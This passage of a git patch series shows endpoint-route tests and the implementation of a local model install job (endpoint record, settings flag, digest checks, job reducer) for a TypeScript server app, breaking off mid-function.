expect(host.apiKey).toBe(`sk-${host.id}`); + }); + + it('two creates of one id sent at once: one is stored, the other is told it exists', async () => { + const { app } = await setup(); + const create = (label: string) => + app.inject({ + method: 'POST', + url: '/api/model-endpoints', + payload: { id: 'race', label, baseUrl: 'http://localhost:8201' }, + }); + const [first, second] = await Promise.all([create('one'), create('two')]); + expect([first.json().success, second.json().success].sort()).toEqual([false, true]); + expect([first.json().errorCode, second.json().errorCode]).toContain('ALREADY_EXISTS'); + const stored = await readCustomModelHosts(getDataDir()); + expect(stored).toHaveLength(1); + }); + + it('a discovery that takes a moment does not undo an edit made while it ran', async () => { + const { app } = await setup(); + await app.inject({ + method: 'POST', + url: '/api/model-endpoints', + payload: { id: 'slow', label: 'Before', baseUrl: 'http://localhost:8202' }, + }); + let answer: (response: Response) => void = () => {}; + fetchMock.mockImplementation( + (async () => new Promise<Response>((resolve) => (answer = resolve))) as unknown as typeof webviewFetch + ); + const discovering = app.inject({ method: 'POST', url: '/api/model-endpoints/slow/discover-models' }); + await vi.waitFor(() => expect(fetchMock).toHaveBeenCalled()); + + // The endpoint is renamed while the probe is still out. + const renamed = await app.inject({ + method: 'PUT', + url: '/api/model-endpoints/slow', + payload: { label: 'After', baseUrl: 'http://localhost:8202' }, + }); + expect(renamed.json().success).toBe(true); + + answer(new Response(JSON.stringify({ data: [{ id: 'qwen3' }] }), { status: 200 })); + expect((await discovering).json()).toEqual({ success: true, data: { models: ['qwen3'] } }); + + const [stored] = await readCustomModelHosts(getDataDir()); + // Both changes are there: the new name and the discovered list. + expect(stored.label).toBe('After'); + expect(stored.models).toEqual(['qwen3']); + }); + + it('an endpoint deleted while its discovery ran stays deleted', async () => { + const { app } = await setup(); + await app.inject({ + method: 'POST', + url: '/api/model-endpoints', + payload: { id: 'gone', label: 'Gone', baseUrl: 'http://localhost:8203' }, + }); + let answer: (response: Response) => void = () => {}; + fetchMock.mockImplementation( + (async () => new Promise<Response>((resolve) => (answer = resolve))) as unknown as typeof webviewFetch + ); + const discovering = app.inject({ method: 'POST', url: '/api/model-endpoints/gone/discover-models' }); + await vi.waitFor(() => expect(fetchMock).toHaveBeenCalled()); + await app.inject({ method: 'DELETE', url: '/api/model-endpoints/gone' }); + answer(new Response(JSON.stringify({ data: [{ id: 'qwen3' }] }), { status: 200 })); + expect((await discovering).json()).toMatchObject({ success: false, errorCode: 'NOT_FOUND' }); + expect(await readCustomModelHosts(getDataDir())).toEqual([]); + }); + + it('deleting an id that is not saved leaves the file as it is', async () => { + const { app } = await setup(); + await app.inject({ + method: 'POST', + url: '/api/model-endpoints', + payload: { id: 'keep', label: 'Keep', baseUrl: 'http://localhost:8204' }, + }); + const before = { text: readFileSync(HOSTS(), 'utf8'), mtime: statSync(HOSTS()).mtimeMs }; + const res = await app.inject({ method: 'DELETE', url: '/api/model-endpoints/never-saved' }); + expect(res.json()).toEqual({ success: true, data: { id: 'never-saved' } }); + expect(readFileSync(HOSTS(), 'utf8')).toBe(before.text); + expect(statSync(HOSTS()).mtimeMs).toBe(before.mtime); + }); + + describe('a store that does not parse', () => { + const BROKEN = '[{"id":"mine","label":"Mine","baseUrl":"http://localhost:9","apiKey":"sk-keep-me"},'; + + beforeEach(() => { + writeFileSync(HOSTS(), BROKEN); + vi.spyOn(console, 'warn').mockImplementation(() => {}); + }); + + it.each([ + ['create', 'POST', '/api/model-endpoints', { id: 'new', label: 'New', baseUrl: 'http://localhost:8205' }], + ['update', 'PUT', '/api/model-endpoints/mine', { label: 'Renamed', baseUrl: 'http://localhost:8205' }], + ['delete', 'DELETE', '/api/model-endpoints/mine', undefined], + ] as const)( + '%s is refused with 409 and the file is left byte for byte (it used to be replaced by one record)', + async (_label, method, url, payload) => { + const { app } = await setup(); + const res = await app.inject({ method, url, ...(payload ? { payload } : {}) }); + expect(res.statusCode).toBe(409); + expect(res.json()).toMatchObject({ success: false, errorCode: 'CONFLICT' }); + expect(res.json().error).toContain('custom-model-hosts.json'); + // The refusal never repeats the file, which holds a key. + expect(res.body).not.toContain('sk-keep-me'); + expect(readFileSync(HOSTS(), 'utf8')).toBe(BROKEN); + } + ); + + it('reading still answers an empty list, as before', async () => { + const { app } = await setup(); + expect((await app.inject({ method: 'GET', url: '/api/model-endpoints' })).json()).toEqual([]); + }); + }); +}); + +describe('the endpoint the local model install manages', () => { + const HOSTS = () => customModelHostsPath(getDataDir()); + const STATE = () => dataPath('local-model.json'); + + const RECORD: CustomModelHost = { + id: 'local-ollama', + label: 'This Mac', + baseUrl: 'http://127.0.0.1:11435', + authStyle: 'bearer', + models: ['qwen3.6:35b-a3b'], + defaultModelId: 'qwen3.6:35b-a3b', + defaultContextLength: 131072, + }; + + /** The state file of an installed model whose connection is the record above. */ + function markManaged(): void { + writeFileSync( + STATE(), + JSON.stringify({ + schema: 1, + state: 'installed', + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 }, + cli: { id: 'opencode', label: 'OpenCode' }, + runtime: { version: '0.40.15', port: 11435, enabled: true }, + connection: { endpointId: 'local-ollama', flagWasEnabled: false }, + }) + ); + } + + beforeEach(() => { + rmSync(STATE(), { force: true }); + writeFileSync(HOSTS(), JSON.stringify([RECORD])); + }); + + afterEach(() => { + fetchMock.mockReset(); + rmSync(STATE(), { force: true }); + rmSync(HOSTS(), { force: true }); + }); + + it('a new endpoint may not take the reserved id, whether or not a model is installed', async () => { + rmSync(HOSTS(), { force: true }); + const { app } = await setup(); + const res = await app.inject({ + method: 'POST', + url: '/api/model-endpoints', + payload: { id: 'local-ollama', label: 'Mine', baseUrl: 'http://127.0.0.1:11434' }, + }); + expect(res.json()).toEqual({ + success: false, + error: 'The endpoint id "local-ollama" is reserved for the model Codeman runs on this Mac. Pick another id.', + errorCode: 'INVALID_INPUT', + }); + expect(await readCustomModelHosts(getDataDir())).toEqual([]); + }); + + it('while it is managed it is not edited: its port stays the runtime Codeman supervises', async () => { + markManaged(); + const { app } = await setup(); + const res = await app.inject({ + method: 'PUT', + url: '/api/model-endpoints/local-ollama', + payload: { label: 'This Mac', baseUrl: 'http://192.168.1.99:11434' }, + }); + expect(res.json()).toEqual({ + success: false, + error: + 'This endpoint belongs to the model Codeman runs on this Mac. Change or remove it in the local model window.', + errorCode: 'INVALID_INPUT', + }); + expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]); + }); + + it('while it is managed it is not deleted from here: the runtime would keep running without it', async () => { + markManaged(); + const { app } = await setup(); + const res = await app.inject({ method: 'DELETE', url: '/api/model-endpoints/local-ollama' }); + expect(res.json()).toMatchObject({ success: false, errorCode: 'INVALID_INPUT' }); + expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]); + }); + + it('while it is managed a discovery answers the one model the install checked and asks the runtime nothing', async () => { + markManaged(); + const { app } = await setup(); + const res = await app.inject({ method: 'POST', url: '/api/model-endpoints/local-ollama/discover-models' }); + expect(res.json()).toEqual({ success: true, data: { models: ['qwen3.6:35b-a3b'] } }); + expect(fetchMock).not.toHaveBeenCalled(); + expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]); + }); + + it('it is listed like any other endpoint', async () => { + markManaged(); + const { app } = await setup(); + const list = (await app.inject({ method: 'GET', url: '/api/model-endpoints' })).json(); + expect(list).toEqual([{ ...RECORD, apiKeySet: false }]); + }); + + it('a record with that id that nobody installed (made by hand) can still be edited and deleted by its owner', async () => { + // No state file: this feature wrote nothing, so the record is the person's own. + const { app } = await setup(); + const update = await app.inject({ + method: 'PUT', + url: '/api/model-endpoints/local-ollama', + payload: { label: 'My own Ollama', baseUrl: 'http://127.0.0.1:11434' }, + }); + expect(update.json().success).toBe(true); + expect((await readCustomModelHosts(getDataDir()))[0].label).toBe('My own Ollama'); + const del = await app.inject({ method: 'DELETE', url: '/api/model-endpoints/local-ollama' }); + expect(del.json()).toEqual({ success: true, data: { id: 'local-ollama' } }); + expect(await readCustomModelHosts(getDataDir())).toEqual([]); + }); + + it('any other endpoint is edited and deleted as before while a model is installed', async () => { + markManaged(); + const { app } = await setup(); + await app.inject({ + method: 'POST', + url: '/api/model-endpoints', + payload: { id: 'office', label: 'Office', baseUrl: 'http://localhost:8210' }, + }); + const update = await app.inject({ + method: 'PUT', + url: '/api/model-endpoints/office', + payload: { label: 'Office GPU', baseUrl: 'http://localhost:8210' }, + }); + expect(update.json().data.host.label).toBe('Office GPU'); + await app.inject({ method: 'DELETE', url: '/api/model-endpoints/office' }); + expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]); + }); +}); From 3af94df4f643517f2587fa98895a8edc90c0dd6a Mon Sep 17 00:00:00 2001 From: Codeman maintainer <noreply@anthropic.com> Date: Fri, 6 Nov 2026 22:16:38 +0100 Subject: [PATCH 15/28] feat(local-model): install a model from the server, with a job that can pause POST /api/local-model/install, cancel, resume and runtime, and DELETE /api/local-model. The GET gains an `install` object the window polls. All of it is experimental and admin only in multi-user mode. One job of five steps (runtime, model, verify, agent, connect) driven by a pure reducer over explicit state, step and transition tables. One job at a time (409). The consent is bound to the size shown: `acknowledgedBytes` must be the server's own total (409 size-changed). A job a server restart interrupted comes back paused and never continues without a click. Every failure is a code with one next step. The model is judged against the budget the runtime measured before it is downloaded. A missing coding agent is installed with its stock command through the shared runner, audited. Connect writes one endpoint record under the reserved id through mutateCustomModelHosts() and switches customModelEndpointsEnabled on through mutateSettingsFile(), remembering the flag's value. The model's digest is stored and read again at boot and before every session start on that endpoint; a changed model refuses the launch. Remove answers 409 with the session names while a live session uses the endpoint, undoes the two writes first, restores the flag only when this feature switched it on and no other endpoint is saved, and deletes only inside local-model/. The coding agent stays. The server starts the runtime at boot when a model is installed and stops it at shutdown beside stopDeepSeekWeb(). Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> --- src/local-model/connect.ts | 149 +- src/local-model/harness-facts.ts | 27 +- src/local-model/install-job.ts | 1466 +++++++++++++- src/local-model/state-store.ts | 243 ++- src/types/local-model-install.ts | 26 +- src/web/routes/local-model-routes.ts | 210 +- src/web/routes/session-routes.ts | 11 + src/web/schemas.ts | 37 + src/web/sensitive-path.ts | 5 + src/web/server.ts | 18 +- test/local-model-connect.test.ts | 417 ++++ test/local-model-harness-facts.test.ts | 91 +- test/local-model-install-job.test.ts | 700 +++++++ test/local-model-install-service.test.ts | 1899 ++++++++++++++++++ test/local-model-state-store.test.ts | 270 +++ test/routes/local-model-launch-guard.test.ts | 304 +++ test/routes/local-model-routes.test.ts | 573 +++++- 17 files changed, 6290 insertions(+), 156 deletions(-) create mode 100644 test/local-model-connect.test.ts create mode 100644 test/local-model-install-job.test.ts create mode 100644 test/local-model-install-service.test.ts create mode 100644 test/local-model-state-store.test.ts create mode 100644 test/routes/local-model-launch-guard.test.ts diff --git a/src/local-model/connect.ts b/src/local-model/connect.ts index c98e0e69..a5001f9e 100644 --- a/src/local-model/connect.ts +++ b/src/local-model/connect.ts @@ -2,9 +2,6 @@ * @fileoverview Connecting the installed local model to Codeman, and undoing it: the endpoint * record, the settings flag, and the checks around them. * - * CONTRACT STAGE: the two constants are final. Every function below has its final signature - * and a body that throws; the bodies are written next. - * * These are the ONLY two writes of the local model outside its own folder: * 1. One record in `custom-model-hosts.json`, through `mutateCustomModelHosts()`: * `{ id: 'local-ollama', label: 'This Mac', baseUrl: 'http://127.0.0.1:<port>', @@ -23,15 +20,20 @@ * switched it on AND no other endpoint is saved. * - The model's digest is compared again before a session starts and at boot * (`compareModelDigest()`): a model that changed under the same name is not launched. + * - The record is MANAGED while the state file records it as ours (`isManagedLocalEndpoint()`): + * the endpoint routes then refuse to edit or delete it and the discovery sweep leaves it + * alone, so its `models` stays the one model the install job checked. */ +import { mutateCustomModelHosts } from '../custom-model-hosts-writer.js'; import type { CustomModelHost } from '../custom-model-hosts.js'; -import type { LocalModelErrorCode } from '../types.js'; +import { getErrorMessage, type LocalModelErrorCode } from '../types.js'; +import { CustomModelHostSchema } from '../web/schemas.js'; +import { mutateSettingsFile } from '../web/settings-writer.js'; +import { readLocalModelState } from './state-store.js'; -/** Marks a body the contract stage left unwritten. */ -function notImplemented(what: string, ..._args: unknown[]): never { - throw new Error(`${what} is not implemented yet`); -} +/** The key of the settings flag that shows saved endpoints in the Run menu and runs the discovery sweep. */ +const ENDPOINTS_FLAG = 'customModelEndpointsEnabled'; /** The id of the endpoint record this feature writes. Reserved: nobody else may use it. */ export const LOCAL_MODEL_ENDPOINT_ID = 'local-ollama'; @@ -50,7 +52,15 @@ export interface LocalEndpointInput { /** The endpoint record of the file header. Pure; the caller validates it with `CustomModelHostSchema`. */ export function buildLocalEndpointRecord(input: LocalEndpointInput): CustomModelHost { - return notImplemented('buildLocalEndpointRecord', input); + return { + id: LOCAL_MODEL_ENDPOINT_ID, + label: LOCAL_MODEL_ENDPOINT_LABEL, + baseUrl: `http://127.0.0.1:${input.port}`, + authStyle: 'bearer', + models: [input.modelId], + defaultModelId: input.modelId, + defaultContextLength: input.context, + }; } export interface ConnectLocalModelInput extends LocalEndpointInput { @@ -75,14 +85,88 @@ export type ConnectResult = } | { ok: false; code: Extract<LocalModelErrorCode, 'endpoint-id-taken' | 'connect-failed'>; detail?: string }; -/** Writes the record and the flag. Idempotent. Never throws: a refused write is `connect-failed` with its message as `detail`. */ +/** + * Writes the record and the flag. Idempotent. Never throws: a refused write is `connect-failed` + * with its message as `detail`. + * + * The record goes first, with the "is the id free" check in the same serialized step as the + * write, so a record that is somebody else's is found before anything is changed. Should the + * flag then fail to save, a record this call ADDED is taken out again: the pair is never left + * half done, and a later attempt starts from the same place. + */ export async function connectLocalModel(input: ConnectLocalModelInput): Promise<ConnectResult> { - return notImplemented('connectLocalModel', input); + const parsed = CustomModelHostSchema.safeParse(buildLocalEndpointRecord(input)); + if (!parsed.success) { + return { ok: false, code: 'connect-failed', detail: `The endpoint record is not valid: ${parsed.error.message}` }; + } + const record: CustomModelHost = parsed.data; + + let outcome: 'added' | 'replaced' | 'taken'; + try { + outcome = await mutateCustomModelHosts<'added' | 'replaced' | 'taken'>((hosts) => { + const index = hosts.findIndex((host) => host.id === record.id); + if (index === -1) return { hosts: [...hosts, record], result: 'added' }; + if (!input.ours) return { result: 'taken' }; + const next = [...hosts]; + next[index] = record; + return { hosts: next, result: 'replaced' }; + }); + } catch (err) { + return { ok: false, code: 'connect-failed', detail: getErrorMessage(err) }; + } + if (outcome === 'taken') return { ok: false, code: 'endpoint-id-taken' }; + + let flagBefore: boolean; + try { + const { before } = await mutateSettingsFile((current) => + current[ENDPOINTS_FLAG] === true ? undefined : { ...current, [ENDPOINTS_FLAG]: true } + ); + flagBefore = before[ENDPOINTS_FLAG] === true; + } catch (err) { + if (outcome === 'added') await removeLocalEndpoint().catch(() => {}); + return { ok: false, code: 'connect-failed', detail: getErrorMessage(err) }; + } + return { ok: true, flagWasEnabled: input.flagWasEnabled ?? flagBefore }; +} + +/** + * Puts our record back when it is gone, and does nothing when a record with our id exists + * (it is never replaced here). For the start of the server while a model is installed: a + * config-backup restore can bring back an older endpoint store without our record while the + * model, the runtime and the state file stay. The settings flag is NOT touched: a person who + * switched it off meant to. Resolves true when the record was added. Never throws. + */ +export async function ensureLocalEndpoint(input: LocalEndpointInput): Promise<boolean> { + const parsed = CustomModelHostSchema.safeParse(buildLocalEndpointRecord(input)); + if (!parsed.success) return false; + const record: CustomModelHost = parsed.data; + try { + return await mutateCustomModelHosts<boolean>((hosts) => + hosts.some((host) => host.id === record.id) ? { result: false } : { hosts: [...hosts, record], result: true } + ); + } catch { + // A store that must not be overwritten stays as it is; a session start then says what is wrong. + return false; + } +} + +/** Takes our record out of the store. Resolves with how many OTHER endpoints are saved. */ +async function removeLocalEndpoint(): Promise<number> { + return mutateCustomModelHosts<number>((hosts) => { + const others = hosts.filter((host) => host.id !== LOCAL_MODEL_ENDPOINT_ID); + return others.length === hosts.length ? { result: others.length } : { hosts: others, result: others.length }; + }); } /** Moves our record to another port (the answer to "Use another port" once connected). A missing record is not an error. */ export async function moveLocalEndpoint(port: number): Promise<void> { - return notImplemented('moveLocalEndpoint', port); + await mutateCustomModelHosts<void>((hosts) => { + const index = hosts.findIndex((host) => host.id === LOCAL_MODEL_ENDPOINT_ID); + if (index === -1) return { result: undefined }; + const next = [...hosts]; + next[index] = { ...next[index], baseUrl: `http://127.0.0.1:${port}` }; + return { hosts: next, result: undefined }; + }); } /** @@ -90,12 +174,28 @@ export async function moveLocalEndpoint(port: number): Promise<void> { * (`flagWasEnabled` is false) and no other endpoint is left. Idempotent. */ export async function disconnectLocalModel(input: { flagWasEnabled: boolean }): Promise<void> { - return notImplemented('disconnectLocalModel', input); + const othersLeft = await removeLocalEndpoint(); + if (input.flagWasEnabled || othersLeft > 0) return; + await mutateSettingsFile((current) => + current[ENDPOINTS_FLAG] === true ? { ...current, [ENDPOINTS_FLAG]: false } : undefined + ); } /** Whether `id` is the reserved endpoint id. For the endpoint routes and the discovery sweep, which leave that record alone. */ export function isLocalModelEndpointId(id: string): boolean { - return notImplemented('isLocalModelEndpointId', id); + return id === LOCAL_MODEL_ENDPOINT_ID; +} + +/** + * Whether the saved endpoint `id` is the record THIS feature wrote and still owns: the id is + * the reserved one and the state file records a connection under it. A record with the + * reserved id that somebody made by hand (before this feature, or while nothing is installed) + * is not managed, so its owner can still edit and delete it. Never throws. + */ +export async function isManagedLocalEndpoint(id: string): Promise<boolean> { + if (!isLocalModelEndpointId(id)) return false; + const state = await readLocalModelState(); + return state.connection?.endpointId === id; } /** @@ -106,7 +206,11 @@ export function sessionNamesUsingEndpoint( sessions: Iterable<{ name: string; customModel?: { endpointId: string } }>, endpointId: string = LOCAL_MODEL_ENDPOINT_ID ): string[] { - return notImplemented('sessionNamesUsingEndpoint', sessions, endpointId); + const names: string[] = []; + for (const session of sessions) { + if (session.customModel?.endpointId === endpointId) names.push(session.name); + } + return names; } /** @@ -120,5 +224,18 @@ export function compareModelDigest( stored: string | undefined, current: string | undefined ): 'same' | 'changed' | 'unknown' { - return notImplemented('compareModelDigest', stored, current); + const a = normalizeDigest(stored); + const b = normalizeDigest(current); + if (!a || !b) return 'unknown'; + return a === b ? 'same' : 'changed'; +} + +/** A digest as it is compared: lowercase hex, without the `sha256:` some listings put in front. */ +function normalizeDigest(digest: string | undefined): string | undefined { + if (typeof digest !== 'string') return undefined; + const hex = digest + .trim() + .toLowerCase() + .replace(/^sha256:/, ''); + return hex === '' ? undefined : hex; } diff --git a/src/local-model/harness-facts.ts b/src/local-model/harness-facts.ts index b86403e4..143826f1 100644 --- a/src/local-model/harness-facts.ts +++ b/src/local-model/harness-facts.ts @@ -10,8 +10,11 @@ * - reports `label` from the registry entry and `installed` from the same probe the page * render and `GET /api/clis` use (`utils/cli-installed-probes.ts`), asked once per build; * - reports `installable` only for a STOCK CLI that is not installed and whose install - * command for this platform needs no administrator rights (`installCommandNeedsAdmin()`). - * Stock only, because the install runner never executes a custom entry's command; + * command for this platform needs no administrator rights (`installCommandNeedsAdmin()`), + * and then carries that command as `installCommand`, so the consent screen can print the + * literal text. The command is the COMPILED stock one (`stockInstallCommand()`), never the + * one a `clis.json` override supplies: it is exactly what the install job would run, and + * an override file must not be able to change that; * - supplies `acceptsModelId` (`cliAcceptsCustomModelId()`), the test a custom model launch * applies to the model id before anything is written. * @@ -33,7 +36,8 @@ import type { CliEntry } from '../config/cli-registry/types.js'; import { matchesPattern } from '../config/cli-registry/patterns.js'; -import { getCli, resolveInstallCommandForPlatform } from '../config/cli-registry/registry.js'; +import { stockInstallCommand } from '../cli-install-runner.js'; +import { getCli } from '../config/cli-registry/registry.js'; import { buildCustomModelInjection, type CustomModelEndpoint } from '../custom-model-injection.js'; import { isCliEntryInstalled, probeStockCliAvailability } from '../utils/cli-installed-probes.js'; import { getErrorMessage, type HarnessFact, type LocalModelCatalog } from '../types.js'; @@ -48,7 +52,11 @@ export interface HarnessFactsDeps { * `installed` passes its own. */ probeInstalled: () => Promise<(entry: CliEntry) => boolean>; - /** The install command the registry holds for this platform. Read as text, never run. */ + /** + * The install command the install job would run for this CLI on this platform: the compiled + * stock command, `undefined` for a CLI that is not stock or has none here. Read as text, + * never run. + */ installCommandFor: (entry: CliEntry) => string | undefined; } @@ -58,7 +66,7 @@ export const defaultHarnessFactsDeps: HarnessFactsDeps = { const stockAvailability = await probeStockCliAvailability(); return (entry) => isCliEntryInstalled(entry, stockAvailability); }, - installCommandFor: resolveInstallCommandForPlatform, + installCommandFor: (entry) => stockInstallCommand(entry.id as string), }; /** @@ -147,17 +155,20 @@ export async function buildHarnessFacts( console.warn(`[local-model] Probing ${entry.label} failed, reading it as not installed: ${getErrorMessage(err)}`); } - let installable = false; + let installCommand: string | undefined; if (!installed && entry.stock) { const command = resolved.installCommandFor(entry); - installable = command !== undefined && command.trim() !== '' && !installCommandNeedsAdmin(command); + if (command !== undefined && command.trim() !== '' && !installCommandNeedsAdmin(command)) { + installCommand = command; + } } facts.push({ cli: row.cli, label: entry.label, installed, - installable, + installable: installCommand !== undefined, + ...(installCommand !== undefined ? { installCommand } : {}), acceptsModelId: (modelId: string) => cliAcceptsCustomModelId(entry, modelId), }); } diff --git a/src/local-model/install-job.ts b/src/local-model/install-job.ts index b518836a..7d688f74 100644 --- a/src/local-model/install-job.ts +++ b/src/local-model/install-job.ts @@ -2,11 +2,6 @@ * @fileoverview The local model install job: its state table, the pure reducer over it, the * pure view of it, and the service that drives it. * - * CONTRACT STAGE: the three tables (`INSTALL_STATE_TABLE`, `INSTALL_STEP_TABLE`, - * `INSTALL_TRANSITIONS`) are final and are what the reducer's table-driven test iterates. - * Every function below has its final signature and a body that throws; the bodies are written - * next. - * * ONE job at a time. The job is five steps in a fixed order (`LOCAL_MODEL_INSTALL_STEPS`: * runtime, model, verify, agent, connect; `agent` is left out when the coding agent is * installed). Its state is one of five (`LocalModelInstallState`), stored in the state file. @@ -74,45 +69,120 @@ * server's own total. * - No CLI id is compared with a literal here: the coding agent is a catalogue row plus a * `HarnessFact`. + * + * The service (`createLocalModelService()`), beyond the reducer: + * - Verbs run one at a time on one queue, so two installs sent together cannot both find the + * state free. The view is not on that queue: the window polls it every second. + * - An interrupted step is never recorded as failed, whatever its last call answered (an + * aborted request looks like a network error): the job looks at its own signal before it + * writes `failed`. Cancel writes `paused` itself; a server that is stopping writes nothing, + * so the file still says `installing` and the next start reads that as a paused job. + * - A download's progress is kept in memory, written to the state file every few seconds and + * when the job pauses or fails. The view shows the live figure and its speed. + * - What blocks a session on an installed model (another program on the port, a runtime that + * keeps stopping, a model whose digest changed) is found live and shown as `error` on the + * view. It is never stored, and the state stays `installed`. + * - `launchRefusalMessage()` is what both session launch paths ask before they start a + * session on the managed endpoint: the digest is read again for every launch. + * - With a model installed, `boot()` puts the saved endpoint record back when it is gone (a + * config-backup restore can take it away), starts the runtime unless it was stopped, and + * reads the digest again. */ -import type { - HardwareFacts, - HarnessFact, - LocalModelAction, - LocalModelCatalog, - LocalModelConflict, - LocalModelDeveloperTools, - LocalModelErrorCode, - LocalModelInstallError, - LocalModelInstallRequest, - LocalModelInstallState, - LocalModelInstallStep, - LocalModelInstallView, - LocalModelRemoveRequest, - LocalModelResumeRequest, - LocalModelRuntimePin, - LocalModelRuntimeRequest, - LocalModelStateFile, - Recommendation, - RecommendOptions, +import { appendAdminAudit } from '../web/admin-audit.js'; +import { + CLI_INSTALL_TIMEOUT_MS, + forgetResolvedCli, + runInstallCommand, + stockInstallCommand, + tryBeginCliInstall, + type CliInstallResult, + type RunInstallCommandOptions, +} from '../cli-install-runner.js'; +import { getCli } from '../config/cli-registry/registry.js'; +import { getDataDir } from '../config/instance.js'; +import { getLocalModelCatalog } from '../config/local-model-catalog.js'; +import { readCustomModelHosts } from '../custom-model-hosts.js'; +import { + getErrorMessage, + LOCAL_MODEL_ERROR_LABELS, + LOCAL_MODEL_ERROR_NEXT, + LOCAL_MODEL_INSTALL_LABELS, + LOCAL_MODEL_INSTALL_STEPS, + type Candidate, + type CandidateHarness, + type HardwareFacts, + type HarnessFact, + type LocalModelAction, + type LocalModelCatalog, + type LocalModelConflict, + type LocalModelDeveloperTools, + type LocalModelErrorCode, + type LocalModelInstallError, + type LocalModelInstallMessage, + type LocalModelInstallRequest, + type LocalModelInstallState, + type LocalModelInstallStep, + type LocalModelInstallView, + type LocalModelProgress, + type LocalModelRemoveRequest, + type LocalModelResumeRequest, + type LocalModelRuntimePin, + type LocalModelRuntimeRequest, + type LocalModelStateFile, + type Recommendation, + type RecommendOptions, } from '../types.js'; -import type { CliInstallResult, RunInstallCommandOptions } from '../cli-install-runner.js'; -import type { ConnectLocalModelInput, ConnectResult } from './connect.js'; -import type { OllamaTarget, PullOptions, PullResult, VerifyResult } from './ollama-client.js'; -import type { LocalModelPaths } from './paths.js'; -import type { - ChooseRuntimePortOptions, - RemoveLocalModelFilesOptions, - RuntimeInstallOptions, - RuntimeInstallResult, - RuntimeSupervisor, +import { isCliEntryInstalled, probeStockCliAvailability } from '../utils/cli-installed-probes.js'; +import { + compareModelDigest, + connectLocalModel, + disconnectLocalModel, + ensureLocalEndpoint, + isLocalModelEndpointId, + LOCAL_MODEL_ENDPOINT_ID, + moveLocalEndpoint, + type ConnectLocalModelInput, + type ConnectResult, + type LocalEndpointInput, +} from './connect.js'; +import { checkDeveloperTools } from './developer-tools.js'; +import { formatGb } from './format.js'; +import { readHardware } from './hardware.js'; +import { buildHarnessFacts } from './harness-facts.js'; +import { + deleteModel, + getRuntimeVersion, + listOpenAiModels, + listRunning, + pullModel, + readModelDigest, + verifyModel, + type OllamaPsModel, + type OllamaTarget, + type PullOptions, + type PullResult, + type VerifyResult, +} from './ollama-client.js'; +import { localModelPaths, type LocalModelPaths } from './paths.js'; +import { modelFitsBudget, recommend } from './recommend.js'; +import { + chooseRuntimePort, + createRuntimeSupervisor, + ensureRuntimeInstalled, + isRuntimeInstalled, + OLLAMA_RUNTIME_PIN, + removeLocalModelFiles, + RUNTIME_PORT_FIRST, + type ChooseRuntimePortOptions, + type RemoveLocalModelFilesOptions, + type RuntimeInstallOptions, + type RuntimeInstallResult, + type RuntimeStartResult, + type RuntimeStatus, + type RuntimeSupervisor, } from './runtime.js'; - -/** Marks a body the contract stage left unwritten. */ -function notImplemented(what: string, ..._args: unknown[]): never { - throw new Error(`${what} is not implemented yet`); -} +import { IDLE_LOCAL_MODEL_STATE, mutateLocalModelState, readLocalModelState } from './state-store.js'; // ---------- The state table ---------- @@ -336,17 +406,96 @@ export const INSTALL_TRANSITIONS: Readonly< /** The steps a job runs, in order: all of `LOCAL_MODEL_INSTALL_STEPS`, without `agent` when the coding agent is installed. Pure. */ export function jobSteps(input: { agentInstalled: boolean }): LocalModelInstallStep[] { - return notImplemented('jobSteps', input); + return LOCAL_MODEL_INSTALL_STEPS.filter((step) => step !== 'agent' || !input.agentInstalled); } +/** A byte count as a download reports it: a whole number that is not negative. */ +const isByteCount = (value: number): boolean => Number.isSafeInteger(value) && value >= 0; + /** * The state file after `event`. Pure: no IO, no clock (`updatedAt` is the state store's * business). Refuses an event the transition table does not list for the current state by * returning `current` itself. Keeps `runtime` and `connection` across a new install, because * what they record is still on disk; `remove` drops everything. + * + * An event that is listed but cannot be applied is refused the same way: an `install` whose + * steps are not a job's, a `progress` that is not two byte counts, a `step-done` on a state + * without a step, and a last `step-done` on a job that has no runtime recorded. */ export function reduceInstallJob(current: LocalModelStateFile, event: InstallJobEvent): LocalModelStateFile { - return notImplemented('reduceInstallJob', current, event); + if (INSTALL_TRANSITIONS[current.state][event.type] === undefined) return current; + switch (event.type) { + case 'install': { + const steps = event.steps.filter((step, index) => event.steps.indexOf(step) === index); + if ( + steps.length === 0 || + steps.length !== event.steps.length || + steps.some((step) => !LOCAL_MODEL_INSTALL_STEPS.includes(step)) + ) { + return current; + } + // What the replaced job left of ANOTHER model is deleted before the new one is pulled. + const pending = current.model && current.model.id !== event.model.id ? current.model.id : current.replacedModelId; + const replacedModelId = pending !== undefined && pending !== event.model.id ? pending : undefined; + return { + schema: 1, + state: 'installing', + step: steps[0], + steps, + model: { id: event.model.id, label: event.model.label, context: event.model.context }, + ...(replacedModelId ? { replacedModelId } : {}), + cli: { id: event.cli.id, label: event.cli.label }, + ...(current.runtime ? { runtime: current.runtime } : {}), + ...(current.connection ? { connection: current.connection } : {}), + }; + } + case 'progress': { + if (!isByteCount(event.completedBytes) || !isByteCount(event.totalBytes)) return current; + return { ...current, progress: { completedBytes: event.completedBytes, totalBytes: event.totalBytes } }; + } + case 'step-done': { + const steps = current.steps ?? []; + const index = current.step ? steps.indexOf(current.step) : -1; + if (index === -1) return current; + if (index < steps.length - 1) { + const { progress: _progress, ...rest } = current; + return { ...rest, step: steps[index + 1] }; + } + // The last step: the model is connected. + if (!current.model || !current.cli || !current.runtime) return current; + return { + schema: 1, + state: 'installed', + model: current.model, + cli: current.cli, + runtime: current.runtime, + ...(current.loaded ? { loaded: current.loaded } : {}), + ...(current.connection ? { connection: current.connection } : {}), + }; + } + case 'fail': + return { + ...current, + state: 'failed', + error: { + code: event.code, + ...(event.vars && Object.keys(event.vars).length > 0 ? { vars: event.vars } : {}), + ...(event.detail ? { detail: event.detail } : {}), + ...(event.nextModelId ? { nextModelId: event.nextModelId } : {}), + }, + }; + case 'cancel': + return { ...current, state: 'paused' }; + case 'restart': + // Only a running job changes: the restart interrupted it, and it waits for a click. + return current.state === 'installing' ? { ...current, state: 'paused' } : current; + case 'resume': { + const { error: _error, ...rest } = current; + return { ...rest, state: 'installing' }; + } + case 'remove': + return { schema: 1, state: 'idle' }; + } } // ---------- The view ---------- @@ -373,14 +522,141 @@ export interface InstallLiveFacts { folder: string; } +/** An error code with its sentence, its slots and its one next step. Pure. */ +export function buildInstallError( + 